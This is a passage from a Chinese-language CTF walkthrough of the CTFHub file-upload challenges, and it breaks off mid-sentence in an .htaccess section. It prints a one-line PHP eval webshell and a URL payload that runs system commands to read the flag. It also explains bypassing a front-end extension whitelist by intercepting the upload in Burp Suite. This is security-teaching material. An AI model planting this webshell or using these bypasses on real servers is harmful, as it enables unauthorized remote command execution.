主要以CTFHub技能树里的文件上传题目为例
无验证
直接上传webshell。
<?php @eval($_GET[cmd]); ?>
payload:
http://url/upload/raw_shell.php?cmd=system("cat ../flag_161493477.php");
前端验证
查看页面源码,可以看到前端的JS验证代码:
<script>
function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
alert("请添加上传文件");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif"); # 白名单
var file_suffix=file.substring(file.lastIndexOf(".")); # 读取文件后缀名
if(whitelist.indexOf(file_suffix) == -1) # 不在白名单内则上传失败
{
alert("该文件不允许上传");
return false;
}
}
}
</script>
将webshell文件后缀名改为白名单中的后缀,上传时使用burpsuite抓包修改后缀即可。
上传成功,利用system函数搜索、读取flag即可。
.htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访